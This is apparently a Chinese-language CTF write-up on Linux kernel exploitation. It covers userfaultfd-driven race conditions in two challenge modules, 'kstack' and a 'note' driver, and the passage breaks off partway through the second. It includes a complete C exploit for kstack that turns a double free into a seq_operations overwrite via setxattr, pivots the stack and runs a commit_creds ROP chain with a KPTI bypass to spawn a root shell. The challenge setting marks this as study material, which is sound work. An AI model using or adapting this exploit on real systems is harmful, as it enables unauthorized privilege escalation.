内核内存包含两个部分:RAM,保存即将被使用的内存页;交换区,保存暂时闲置的内存页。然而有的内存即不在 RAM,也不在 交换区中,例如 mmap创建的内存映射页。在内核 read、write操作 mmap分配的内存前,内核并没有将该内存页映射到实际的物理页中。而当内核读取 mmap分配的内存页时,内核则会进行一下步骤为 mmap的内存页映射一个实际的物理页:
而 userfaultfd机制可以让用户来监管此类缺页错误,并在用户空间完成对这类错误的处理。也就是一旦我们在内核触发了一次缺页错误,可以利用用户态的程序去穿插执行一些操作,这为我们内核条件竞争的利用提供了很大方便。
要使用 userfaultfd,需要先创建一个 uffd
// userfaultfd系统调用创建并返回一个uffd,类似一个文件的fd uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
之后所有的注册内存区间、配置和最终的缺页处理都需要用 ioctl对这个 uffd操作实现。ioctl-userfaultfd支持 UFFDIO_API、UFFDIO_REGISTER、UFFDIO_UNREGISTER、UFFDIO_COPY、UFFDIO_ZEROPAGE、UFFDIO_WAKE等选项。其中 UFFDIO_REGISTER可以用于向 userfaultfd机制注册一个监视去也。UFFDIO_COPY可用于当发生缺页错误时,向缺页的地址拷贝自定义的数据。
# 2 个用于注册、注销的ioctl选项: UFFDIO_REGISTER 注册将触发user-fault的内存地址 UFFDIO_UNREGISTER 注销将触发user-fault的内存地址 # 3 个用于处理user-fault事件的ioctl选项: UFFDIO_COPY 用已知数据填充user-fault页 UFFDIO_ZEROPAGE 将user-fault页填零 UFFDIO_WAKE 用于配合上面两项中 UFFDIO_COPY_MODE_DONTWAKE 和 UFFDIO_ZEROPAGE_MODE_DONTWAKE模式实现批量填充
然后,需要为监视的内存进行注册。这里使用上述提到的 UFFDIO_REGISETR操作:
addr = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0) // addr 和 len 分别是我匿名映射返回的地址和长度,赋值到uffdio_register uffdio_register.range.start = (unsigned long) addr; uffdio_register.range.len = len; // mode 只支持 UFFDIO_REGISTER_MODE_MISSING uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; // 用ioctl的UFFDIO_REGISTER注册 ioctl(uffd, UFFDIO_REGISTER, &uffdio_register);
这里,需要指定的 监视的 地址和长度,然后调用 ioctl进行注册。
然后,需要创建一个线程用于轮询和处理 user-fault事件。这里可以重启一个线程,因为需要轮询,避免阻塞主线程。
// 主进程中调用pthread_create创建一个fault handler线程 pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);
在子线程中,使用 poll函数轮询 uffd,当轮询到缺页事件后,可以先写上自己的处理代码,随后用轮询到的 UFFD_EVENT_PAGEFAULT事件用上述提到的 UFFDIO_COPY拷贝数据到缺页处。
static void * fault_handler_thread(void *arg) { // 轮询uffd读到的信息需要存在一个struct uffd_msg对象中 static struct uffd_msg msg; // ioctl的UFFDIO_COPY选项需要我们构造一个struct uffdio_copy对象 struct uffdio_copy uffdio_copy; uffd = (long) arg; ...... for (;;) { // 此线程不断进行polling,所以是死循环 // poll需要我们构造一个struct pollfd对象 struct pollfd pollfd; pollfd.fd = uffd; pollfd.events = POLLIN; poll(&pollfd, 1, -1); // 读出user-fault相关信息 read(uffd, &msg, sizeof(msg)); // 对于我们所注册的一般user-fault功能,都应是UFFD_EVENT_PAGEFAULT这个事件 assert(msg.event == UFFD_EVENT_PAGEFAULT); //我们自己的处理代码 // 构造uffdio_copy进而调用ioctl-UFFDIO_COPY处理这个user-fault uffdio_copy.src = (unsigned long) page; uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; // page(我们已有的一个页大小的数据)中page_size大小的内容将被拷贝到新分配的msg.arg.pagefault.address内存页中 ioctl(uffd, UFFDIO_COPY, &uffdio_copy); ...... } }
而在上述的处理函数中,穿插的我们自己的处理代码,就可以帮助实现条件竞争。
__int64 proc_init() { proc_file_entry = proc_create("stack", 0LL, 0LL, &proc_file_fops); return proc_file_entry == 0 ? 0xFFFFFFF4 : 0; }
在 proc_init中注册了一个 proc_file_fops结构体,然后将该结构体的 unlocked_ioctl设置为了 proc_ioctl函数,该函数如下:
__int64 __fastcall proc_ioctl(__int64 a1, int a2, __int64 a3) { int v4; // er12 __int64 head_chunk; // r13 __int64 chunk1; // rbx __int64 result; // rax __int64 chunk; // rbx __int64 v9; // rax v4 = *(_DWORD *)(__readgsqword((unsigned int)¤t_task) + 0x35C); if ( a2 == 1470889985 ) { chunk = kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL); *(_DWORD *)chunk = v4; v9 = head; head = chunk; *(_QWORD *)(chunk + 16) = v9; if ( !copy_from_user(chunk + 8, a3, 8LL) ) return 0LL; head = *(_QWORD *)(chunk + 16); kfree(chunk); result = -22LL; } else { if ( a2 != 0x57AC0002 ) return 0LL; head_chunk = head; if ( !head ) return 0LL; if ( v4 == *(_DWORD *)head ) { if ( !copy_to_user(a3, head + 8, 8LL) ) { chunk1 = head_chunk; head = *(_QWORD *)(head_chunk + 16); goto LABEL_12; } } else { chunk1 = *(_QWORD *)(head + 16); if ( chunk1 ) { while ( *(_DWORD *)chunk1 != v4 ) { head_chunk = chunk1; if ( !*(_QWORD *)(chunk1 + 16) ) goto LABEL_16; chunk1 = *(_QWORD *)(chunk1 + 16); } if ( !copy_to_user(a3, chunk1 + 8, 8LL) ) { *(_QWORD *)(head_chunk + 16) = *(_QWORD *)(chunk1 + 16); LABEL_12: kfree(chunk1); return 0LL; } } } LABEL_16: result = -22LL; } return result; }
题目名称就叫 kstack,所以意图很明显就是模拟了一个 stack的push和 pop过程,head就是 栈顶 rsp,head+0x10指向了下一个栈结构。
其中 push,会先申请一个 0x20的 slub,然后将 0x8处存上用户输入的数据,将 0x10处 赋值为 head,再将该 slub释放掉,将 head指针还原为 slub+0x10。
pop,会根据 v4从当前栈顶 head开始找到符合要求的 slub,将 0x8的数据输出给用户,然后将 该 slub释放掉。
程序总体流程没什么明显的漏洞,但是其处理函数是 unlocked_ioctl类型,而该类型是不使用内核提供的全局同步锁。所以这里就存在多线程竞争的漏洞。比如两个线程同时执行 pop,那么有可能存在当线程 1执行到 已经取得 需要 释放的 slub地址时,线程2 已经将 该 slub释放掉,然后 线程1 再次释放该 slub,最终导致一个 double free漏洞。
而这里为了保证多线程竞争的百分百成功率,可以考虑 userfaultfd,来构造一个百分百成功的 double free漏洞。
关于 userfaultfd的原理,在之前已经讲述过。这里和之前唯一不同的是,我们在处理线程中创建一个循环,不断使用 pool来等待 userfault fd,然后读取 uffd msg。在后面写上自己的处理函数,这样就能一直针对缺页错误,进行一次 hook处理。
for (;;) { /* See what poll() tells us about the userfaultfd */ struct pollfd pollfd; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1, -1); if (nready == -1) errExit("poll"); printf("\nfault_handler_thread():\n"); printf(" poll() returns: nready = %d; " "POLLIN = %d; POLLERR = %d\n", nready, (pollfd.revents & POLLIN) != 0, (pollfd.revents & POLLERR) != 0); /* Read an event from the userfaultfd */ nread = read(uffd, &msg, sizeof(msg)); if (nread == 0) { printf("EOF on userfaultfd!\n"); exit(EXIT_FAILURE); } if (nread == -1) errExit("read"); //input your code ...
那么,这里我们只需要在 handler中,写上针对不同缺页错误的,不同处理方式就可以。这里我们第一次调用缺页错误是为了构造一个 double free,构造的方式是 在执行一次 pop的 kfree之前,穿插执行一次 pop。所以我们利用 pop来构造一个 缺页错误。并在handle中再次执行一次 pop,这样就可以将同一个 slub执行两次释放,造成一个 double free错误。
handle中处理函数如下:
puts("First Double Free"); Output(&value); printf("[+] faultd free ok, popped: %016lx\n", value); break;
缺页错误触发如下,由于这里的 fault_ptr是由 mmap创建的,所以会产生一个缺页错误。
puts("Doubel free:"); Output(fault_ptr); puts(" 1 double free ok"); usleep(300);
这里简单分析一下这个double free的总体执行流程:
主线程: handler: Output(fault_ptr) copy_to_user(fault_ptr)触发缺页错误 Output(value) copy_to_user(value) kfree(slub) //第一次释放slub ioctl(uffd, UFFDIO_COPY, &uffdio_copy) //恢复主线程的copy_to_user kfree(slub) //造成double free
这里由于 slub 大小只有 0x20,所以这里不能选用 tty_struct,这里可以选用 seq_operations结构体,其大小也为 0x20,而且其包含了4个函数指针,可以便于我们泄露地址:
struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); };
其使用方法如下:
int victim = open("/proc/self/stat", O_RDONLY); //申请kmalloc-32 slub read(victim, buf, 1); // call start
我们可以先申请一个 seq_operations结构体,其会分配为第一步中释放的 slub。
然后这里我们不能够直接使用 pop读取出来,因为 此时 head链表中已经没有该 slub,我们需要先利用 push将该 slub申请回来。但是我们又不能直接使用 push,因为 push会将申请的 slub+0x8的数据覆盖,而 pop只能读取 slub+0x8的数据。所以这里又要利用一次 userfault来使得 push在执行到 kmalloc后 和 copy_from_user之前前,先利用 pop将 head中的 slub读取出来,最后再执行 copy_from_user。
这里 handle处理函数如下:
// overlap Element and seq_operations (caused by push) puts("Second Output to get kernel_addr"); Output(&value); printf("[+] fault get addr ok, popped: %016lx\n", value); kernel_base = value - offset; break;
其触发方法如下:
puts("leak kernel_addr:"); int fd1 = open("/proc/self/stat", O_RDONLY); if(fd1 < 0 ){ Err("Alloc stat"); } Input(fault_ptr+0x1000); printf("Got kernel_base: 0x%llx\n",kernel_base); usleep(300);
这里覆盖函数指针的方法,用到了 userfault+setxattr和 seq_operations结合。先堆喷一个 seq_operations结构体,再利用 sexattr来 修改 seq_operations结构体中的函数指针。
堆喷 seq_operations结构体:
// overlap seq_operations and setxattr buffer (cause by setxattr) puts("Fourth alloc seq_operations"); victim_fd = open("/proc/self/stat", O_RDONLY); printf("[+] alloc ok, victim fd: %d\n", victim_fd);
经过上面的操作,就会将第3步构造的 double free的 一个 slub分配给 seq_operations结构体。
然后,再将剩下的一个 slub分配给 setxattr,然后利用 setxattr来修改 该 slub的前 0x20字节。当 sexattr修改了slub的前 0x20字节,那么此时 seq_operation结构体的前 0x20字节的指针也被修改了。然后选择将 start指针修改为 栈迁移的 gadget。
char* data[0x30] = { 0 }; memset(data, '0', 0x30); *(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot; setxattr("/tmp", "seccon", (void*)((unsigned long)data), 0x20, XATTR_CREATE); puts("change ok");
这里栈迁移的 gadget选择,没有选择之前的 xchg指令,而是选择了 mov esp, 0x5d000010的 gadget更加方便。我们只需要将 rop布置在 0x5d000010的位置即可。
ROP的构造就是很经典的方法,不过这里注意开启了 KPTI,所以需要绕过 KPTI保护。这里可以使用 修改 cr3寄存器的方法,但我选择使用另一种方法就是直接利用 swapgs_restore_regs_and_return_to_usermode这个函数返回,即可实现绕过 KPTI并且返回到用用户层。然后这里注意,使用该方法返回到用户层时,user_sp需要设置为一个 可执行的地址。这里就选择之前 mmap分配的一块地址即可,否则会被一个段错误。当然这个段错误也可以通过 signal捕获,然后再次执行 system来绕过。
// gcc -static -pthread exp.c -g -o exp #include <stdlib.h> #include <string.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <errno.h> #include <poll.h> #include <arpa/inet.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/msg.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/un.h> #include <sys/xattr.h> #include <linux/userfaultfd.h> int fd = 0; char bf[0x100] = { 0 }; size_t fault_ptr; size_t fault_len = 0x4000; size_t kernel_base = 0x0; size_t offset = 0x13be80; size_t victim_fd = 0; size_t stack_pivot = 0x02cae0; size_t preapre_kernel_cred = 0x069e00; size_t commit_creds = 0x069c10; size_t p_rdi_r = 0x034505; size_t mov_rdi_rax_p_rbp_r = 0x01877f; size_t swapgs = 0x03ef24; size_t iretq = 0x01d5c6; size_t kpti_bypass = 0x600a4a; size_t user_cs, user_ss, user_sp, user_rflags; void Err(char* buf){ printf("%s Error\n", buf); exit(-1); } void fatal(const char *msg) { perror(msg); exit(1); } void savestatus(){ asm("movq %%cs, %0\n" "movq %%ss, %1\n" "pushfq\n" "popq %2\n" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags) :: "memory"); } void get_shell(){ if(!getuid()){ puts("Root Now!"); //system("/bin/sh"); char *shell = "/bin/sh"; char *args[] = {shell, NULL}; execve(shell, args, NULL); } } void Input(char* buf){ if(-1 == ioctl(fd, 1470889985, buf)){ Err("Input"); } puts(" [=] input ok"); } void Output(char* buf){ if(-1 == ioctl(fd, 1470889986, buf)){ Err("Output"); } puts(" [=] output ok"); } int page_size; void* handler(void *arg){ unsigned long value; static struct uffd_msg msg; static int fault_cnt = 0; long uffd; static char *page = NULL; struct uffdio_copy uffdio_copy; int len, i; if (page == NULL) { page = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (page == MAP_FAILED) fatal("mmap (userfaultfd)"); } uffd = (long)arg; for(;;) { struct pollfd pollfd; pollfd.fd = uffd; pollfd.events = POLLIN; len = poll(&pollfd, 1, -1); if (len == -1) fatal("poll"); printf("[+] fault_handler_thread():\n"); printf(" poll() returns: nready = %d; " "POLLIN = %d; POLLERR = %d\n", len, (pollfd.revents & POLLIN) != 0, (pollfd.revents & POLLERR) != 0); len = read(uffd, &msg, sizeof(msg)); if (len == 0) fatal("userfaultfd EOF"); if (len == -1) fatal("read"); if (msg.event != UFFD_EVENT_PAGEFAULT) fatal("msg.event"); printf("[+] UFFD_EVENT_PAGEFAULT event: \n"); printf(" flags = 0x%lx\n", msg.arg.pagefault.flags); printf(" address = 0x%lx\n", msg.arg.pagefault.address); printf("[!] fault_cnt: %d\n",fault_cnt); switch(fault_cnt) { case 0: puts(" [1.1] First Double Free"); Output(&value); printf(" [1.1] faultd free ok, popped: %016lx\n", value); break; case 1: // overlap Element and seq_operations (caused by push) puts(" [2.1] Second Output to get kernel_addr"); Output(&value); printf(" [2.1] fault get addr ok, popped: %016lx\n", value); kernel_base = value - offset; break; case 2: // double free (caused by pop) puts(" [3.1]Third Double free"); Output(&value); printf(" [3.1]fault free ok, popped: %016lx\n", value); break; default: puts("ponta!"); getchar(); break; } // return to kernel-land uffdio_copy.src = (unsigned long)page; uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1); uffdio_copy.len = page_size; uffdio_copy.mode = 0; uffdio_copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) fatal("ioctl: UFFDIO_COPY"); printf("[+] uffdio_copy.copy = %ld\n", uffdio_copy.copy); fault_cnt++; } } size_t register_userfault(size_t addr, size_t len){ long uffd; // char *addr; // size_t len = 0x1000; pthread_t thr; struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; int s; // new userfaulfd page_size = sysconf(_SC_PAGE_SIZE); uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) { puts("userfaultfd\n"); exit(-1); } uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) // create the user fault fd { puts("ioctl uffd err\n"); exit(-1); } // addr = mmap(NULL, len, PROT_READ | PROT_WRITE, //create page used for user fault // MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); // if (addr == MAP_FAILED) // { // puts("map err\n"); // exit(-1); // } printf("Address returned by mmap() = %p\n", addr); uffdio_register.range.start = (size_t) addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)//注册页地址与错误处理fd,这样只要copy_from_user // //访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号 { puts("ioctl register err\n"); exit(-1); } s = pthread_create(&thr, NULL, handler, (void *) uffd); //handler函数进行访存错误处理 if (s != 0) { errno = s; puts("pthread create err\n"); exit(-1); } return addr; } void prepare_ROP(){ char* rop_mem = mmap((void*)0x5d000000 - 0x8000, 0x10000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANON | MAP_POPULATE, -1, 0); unsigned long* rop_addr = (unsigned long*)(rop_mem+0x8000+0x10); int i = 0; rop_addr[i++] = p_rdi_r+kernel_base; rop_addr[i++] = 0; rop_addr[i++] = preapre_kernel_cred+kernel_base; rop_addr[i++] = mov_rdi_rax_p_rbp_r+kernel_base; rop_addr[i++] = 0; rop_addr[i++] = commit_creds+kernel_base; // rop_addr[i++] = swapgs+kernel_base; // rop_addr[i++] = 0; // rop_addr[i++] = iretq+kernel_base; rop_addr[i++] = kpti_bypass+kernel_base; rop_addr[i++] = 0; rop_addr[i++] = 0; rop_addr[i++] = get_shell; rop_addr[i++] = user_cs; rop_addr[i++] = user_rflags; rop_addr[i++] = 0x5d000000-0x8000+0x900; rop_addr[i++] = user_ss; } int main(){ savestatus(); //register page fault fault_ptr = mmap(NULL, fault_len, PROT_READ | PROT_WRITE, //create page used for user fault MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (fault_ptr == MAP_FAILED) { puts("map err\n"); exit(-1); } register_userfault(fault_ptr, fault_len); fd = open("/proc/stack", O_RDONLY); if(fd < 0){ Err("Open dev"); } char* buf = malloc(0x100); memset(buf, "a", 0x100); //fault_ptr = register_userfault(); Input(buf); memset(buf, "b", 0x100); Input(buf); puts("[1] Doubel free:"); Output(fault_ptr); puts("[1] double free ok"); usleep(300); puts("[2] leak kernel_addr:"); int fd1 = open("/proc/self/stat", O_RDONLY); if(fd1 < 0 ){ Err("Alloc stat"); } Input(fault_ptr+0x1000); printf("[2] Got kernel_base: 0x%llx\n",kernel_base); usleep(300); puts("[3] Doubel free again"); Input(buf); Output(fault_ptr+0x2000); puts("[3] double free ok"); usleep(300); //prepare data char* data[0x30] = { 0 }; memset(data, '0', 0x30); *(unsigned long*)((unsigned long)data+0x18) = kernel_base+stack_pivot; puts("[4] Setxattr to change seq_operations->star ptr"); puts(" [4.1] Fourth alloc seq_operations"); victim_fd = open("/proc/self/stat", O_RDONLY); printf(" [4.1] alloc ok, victim fd: %d\n", victim_fd); setxattr("/tmp", "seccon", (void*)((unsigned long)data), 0x20, XATTR_CREATE); puts("[4] change ok"); usleep(300); puts("[5] Prepare ROP"); prepare_ROP(); puts("[6] Trigger vul"); read(victim_fd, buf, 1); return 0; }
__int64 __fastcall init_module(__int64 a1, __int64 a2) { _fentry__(a1, a2); bufptr = (__int64)&unk_B60; return misc_register(&unk_620); }
程序首先注册了一个 unk_B60结构,该结构体为 miscdevice
struct miscdevice { int minor; const char *name; const struct file_operations *fops; struct list_head list; struct device *parent; struct device *this_device; const struct attribute_group **groups; const char *nodename; umode_t mode; };
然后,可以看一下 其中 fops注册的结构 file_operations:
// file_operations结构 struct file_operations { struct module *owner; loff_t (*llseek) (struct file *, loff_t, int); ssize_t (*read) (struct file *, char __user *, size_t, loff_t *); ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *); ssize_t (*read_iter) (struct kiocb *, struct iov_iter *); ssize_t (*write_iter) (struct kiocb *, struct iov_iter *); int (*iopoll)(struct kiocb *kiocb, bool spin); int (*iterate) (struct file *, struct dir_context *); int (*iterate_shared) (struct file *, struct dir_context *); __poll_t (*poll) (struct file *, struct poll_table_struct *); long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long); long (*compat_ioctl) (struct file *, unsigned int, unsigned long); ... truncated };
可以看到该结构体,是对 file进行操作的结构体。我们看一下数据,会发现该结构体中,就有两个地方定义了函数 sub_10和 sub_0。而这两个地方刚好对应结构体的 unlocked_ioctl和 open指针,其他都是null。unlocked_ioctl和compat_ioctl有区别,unlocked_ioctl不使用内核提供的全局同步锁,所有的同步原语需自己实现,所以可能存在条件竞争漏洞。
sub_0函数没什么东西,我们主要具体分析 unlocked_ioctl对应的sub_10函数,其主要实现了 new\edit\show\delete
功能。然后主要有两个结构体,一个是 note,一个是用户传入的结构体 noteRequest :
// note结构——存储的note struct note { unsigned long key; unsigned char length; void *contentPtr; char content[]; } // noteRequest结构——用户参数 struct noteRequest{ size_t idx; size_t length; size_t userptr; }
note中 key是用于加密存储数据的,length是数据的长度,content[]是一个动态数组的地址,用于存储数据;而 contentPtr=¬e->content - page_offset_base,别名页的地址是[SOME_OFFSET + physical address],page_offset_base就是这个SOME_OFFSET。
if ( (unsigned int)a2 <= 0xFFFFFF01 ) { if ( (_DWORD)a2 != -256 ) // New return -25LL; idx = -1LL; v7 = 0LL; while ( 1 ) // get freed note { idx1 = (int)v7; if ( !note_list[v7] ) break; if ( ++v7 == 16 ) return -14LL; } new_note = (_QWORD *)bufptr; idx = idx1; note_list[idx1] = bufptr; new_note[1] = note_length1; v21 = (char *)(new_note + 3); *new_note = *(_QWORD *)(*(_QWORD *)(__readgsqword((unsigned int)¤t_task) + 2024) + 80LL); v22 = n; v23 = userbuf1; bufptr = (__int64)new_note + n + 24; // get next free mem if ( n > 0x100 ) { _warn_printk("Buffer overflow detected (%d < %lu)!\n", 256LL, n); BUG(); } _check_object_size(encbuf, n, 0LL); copy_from_user(encbuf, v23, v22); v24 = n; v25 = (_QWORD *)note_list[idx]; if ( n ) { v26 = 0LL; do { encbuf[v26 / 8] ^= *v25; v26 += 8LL; } while ( v26 < v24 ); } memcpy(v21, encbuf, v24); result = 0LL; v25[2] = &v21[-page_offset_base]; }
New函数中,会首先从 note_list中得到空闲的note的idx,然后从 bufptr中取出空闲的地址,并将其赋值给 note结构,然后依次赋值 length 和 contentPtr。并将 bufptr指向下一处空闲地址,随后取出 encbuf,将用户数据拷贝到 encbuf,然后依次使用 key加密,最后将加密数据拷贝到 note->content。
if ( (_DWORD)a2 == 0xFFFFFF01 ) // Edit { note = note_list[idx2]; if ( note ) { note_length = *(unsigned __int8 *)(note + 8); user_buf1 = userbuf1; contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base); _check_object_size(encbuf, note_length, 0LL); copy_from_user(encbuf, user_buf1, note_length);// get user new input if ( note_length ) { key = (_QWORD *)note_list[idx]; for ( i = 0LL; i < note_length; i += 8LL ) encbuf[i / 8] ^= *key; // enc new data if ( (unsigned int)note_length >= 8 ) { *contentArr1 = encbuf[0]; *(_QWORD *)((char *)contentArr1 + (unsigned int)note_length - 8) = *(__int64 *)((char *)&userbuf1 + (unsigned int)note_length); result = 0LL; qmemcpy( // copy new data to contentArr (void *)((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL), (const void *)((char *)encbuf - ((char *)contentArr1 - ((unsigned __int64)(contentArr1 + 1) & 0xFFFFFFFFFFFFFFF8LL))), 8LL * (((unsigned int)note_length + (_DWORD)contentArr1 - (((_DWORD)contentArr1 + 8) & 0xFFFFFFF8)) >> 3)); return result; } }
Edit看着有点乱,但是总体逻辑还是 将用户输入 通过 copy_from_user拷贝到 encbuf,然后取出 note->content地址,将 encbuf数据加密后,拷贝到 note->content中。这里 注意: copy_from_user并不是原子性的操作,也并没有上锁,按照我们之前的分析缺页可以让其有一个很大的空窗期供我们操作,进而利用竞争改掉某些关键数据
if ( (_DWORD)a2 != -254 ) { note_ptr = note_list; if ( (_DWORD)a2 == -253 ) // delete { do *note_ptr++ = 0LL; while ( &_check_object_size != (__int64 (__fastcall **)(_QWORD, _QWORD, _QWORD))note_ptr ); result = 0LL; bufptr = (__int64)&unk_B60; memset(&unk_B60, 0, 0x2000uLL); return result; } return -25LL; }
delete函数很简单,将相应 note都清空,然后将 bufptr里都赋值为 0。
if ( note2 ) // Show { userlen2 = *(unsigned __int8 *)(note2 + 8); contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base); if ( (unsigned int)userlen2 >= 8 ) { *(__int64 *)((char *)&userbuf1 + *(unsigned __int8 *)(note2 + 8)) = *(_QWORD *)((char *)contentArr2 + *(unsigned __int8 *)(note2 + 8) - 8); qmemcpy(encbuf, contentArr2, 8LL * ((unsigned int)(userlen2 - 1) >> 3)); } else if ( (userlen2 & 4) != 0 ) { LODWORD(encbuf[0]) = *contentArr2; *(_DWORD *)((char *)encbuf + (unsigned int)userlen2 - 4) = *(_DWORD *)((char *)contentArr2 + (unsigned int)userlen2 - 4); } else if ( *(_BYTE *)(note2 + 8) ) { LOBYTE(encbuf[0]) = *(_BYTE *)contentArr2; if ( (userlen2 & 2) != 0 ) *(_WORD *)((char *)encbuf + (unsigned int)userlen2 - 2) = *(_WORD *)((char *)contentArr2 + (unsigned int)userlen2 - 2); } if ( userlen2 ) { for ( j = 0LL; j < userlen2; j += 8LL ) encbuf[j / 8] ^= *(_QWORD *)note2; // dec data } user_buf2 = userbuf1; _check_object_size(encbuf, userlen2, 1LL); copy_to_user(user_buf2, encbuf, userlen2); result = 0LL; }
show函数,取出 note->content中加密的数据,解密后,使用 copy_to_user拷贝给用户空间。
上面已经将 程序漏洞说明 是位于 Edit中 copy_from_user并非原子操作,其十分耗时,导致我们可以利用这个空闲时间,使用 userfault来执行某些操作,条件竞争制造漏洞。
我们首先需要构造一个 堆溢出漏洞。先 New(buffer, 0x10),创建 note[0]。此时在空闲内存中的布局为,一个 note_struct的空间,加上 0x10的buf空间。
note_struct //note[0] 0x10 buf
然后 按照上面 userfaultfd的处理流程,先使用 register_userfault()注册一个 userfaultfd处理程序。然后使用 Edit(0,1 PAGE_FAULT)。这里我们将 PAGE_FAULT定义为 一个地址,这里 Edit函数 会对该 地址指向的内存 进行访问,而这个地址并没有相应的页面映射,所以这里就会造成一次 userfaultfd错误,然后我们就可以使用我们自己的注册 userfaultfd处理程序来接管程序,从而在 一次内核操作中,完成属于我们自己的操作。从而造成条件竞争。
我们在自己的 handler函数中,完成了如下步骤:
//现在主线程停在copy_from_user函数了,可以进行利用了 delete(); create(buffer, 0); create(buffer, 0); // 原始内存:note0 struct + 0x10 buffer // 当前内存:note0 struct + note1 struct // 当主线程继续拷贝时,就会破坏note1区域 if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) // 偶从uffd读取msg结构,虽然没用 errExit("[-] Error in reading uffd_msg"); struct uffdio_copy uc; memset(buffer, 0, sizeof(buffer)); buffer[8] = 0xf0; //把note1 的length改成0xf0 uc.src = (unsigned long)buffer; uc.dst = (unsigned long)FAULT_PAGE; uc.len = 0x1000; uc.mode = 0; ioctl(uffd, UFFDIO_COPY, &uc); // 恢复执行copy_from_user puts("[+] done 1"); return NULL;
可以看到,我们先删掉了 note[0]
,然后又创建了 两个 note,大小都为0。而这里我们新创建的new_note[0]
(这里我以 new_note[0]来区分我们最开始创建的 note[0]) 与 note[0]就发生了 内存共用,而 note[1]的 结构体刚好为 note[0]的buf区域,也即我们后续可以通过 edit(note[0])来修改 note[1]结构体的内容。此时内存布局如下:
note_struct //new_note[0] note_struct //note[1]
然后,我们在 handler中,还将 note[0].buf[8]处的值改为了 0xff,而这个地址在 新内存布局中,刚好对应 note[1].length,所以这里 实现了 一个缓冲区溢出漏洞。
完成漏洞构造后,接下来我们就要选择泄露数据。
首先,可以利用 note[1]泄露 key,因为此时 note[1]的大小被改为了 0xff,其原本数据为 0x0,但输出时会进行解密 0^key=key,所以 能够把 key泄露出来。
然后这里后续提权,不管是用到 覆写 cred结构体,还是使用 modprobe_path的方法都必须知道 page_offset_base。因为不管是用 Edit还是 Show函数中,获取当前 note存储数据的地址,都是使用 cotentPtr+page_offset_base来获得,如下所示。那么就有一个很重要的点,当我们能修改 contentPtr后,我们就能够 写和泄露 指定地址的值。而前提就是 我们知道 page_offset_base的值。
//Edit contentArr1 = (_QWORD *)(*(_QWORD *)(note + 16) + page_offset_base); //Show contentArr2 = (_DWORD *)(*(_QWORD *)(note2 + 16) + page_offset_base);
而这里为了构造一个符合我们目标的 contentPtr,我们需要先泄露当前 正确的 contentPtr值。这点我们很容易做到。只需要再创建一个 New(buffer, 0),那么此时内存布局如下,我们输出 Show(note[1])时,其 buf[0x10]处的值即为 key^contentPtr_note2。
这样我们就把 note[2]的 contentPtr泄露出来了。
note_struct //new_note[0] note_struct //note[1] note_struct //note[2]
那么,接下来我们 将 contentPtr - 0x2568,得到 此时 module_base-page_offset_base的值 module_base_off 。这里为什么减去 0x2568,是因为 note[2]真实的 contentPtr位于 note.ko偏移 0x2568处。如下所示:
pwndbg> x/20xg 0xffffffffc021c520 0xffffffffc021c520: 0xffff8df0c6738000 0x0000000000000000 //note[0].key note[0].length 0xffffffffc021c530: 0x0000720f0021c538 0xffff8df0c6738000 //note[0].contentPtr note[1],key 0xffffffffc021c540: 0xffff8df0c67380f0 0x0000720f0021c550 //note[1].length note[1].contentPtr 0xffffffffc021c550: 0xffff8df0c6738000 0x0000000000000000 //note[2].key 0xffffffffc021c560: 0x0000720f0021c568 0x0000000000000000 //note[2].contentPtr 0xffffffffc021c570: 0x0000000000000000 0x0000000000000000
那么接下来,我们只需要用 module_base_off加上 我们想用的 note.ko里的偏移,就能实现对 note.ko 读写。这里,用到了一个十分巧妙地 代码:
.text:00000000000001F7 140 4C 8B 25 12 2A 00 00 mov r12, cs:page_offset_base .text:00000000000001FE 140 4C 03 60 10 add r12, [rax+10h]
再这个代码处,用到了 page_offset_base,而这句代码是将 page_offset_base在 note.ko地基址相对于 0x1fe 的偏移 page_offset_base_offset 赋值给 r12。而 这个 page_offset_base_offset 是程序在动态执行才会被 确定的,所以我们需要 先输出 note.ko+0x1fa的值,如下所示,可以看到前 4字节 0xf9881aa2 就是 page_offset_base_offset。而这里输出 note.ko+0x1fa的方法是 将 note[2].contentPtr改为 module_base_off+0x1fa,如下所示。
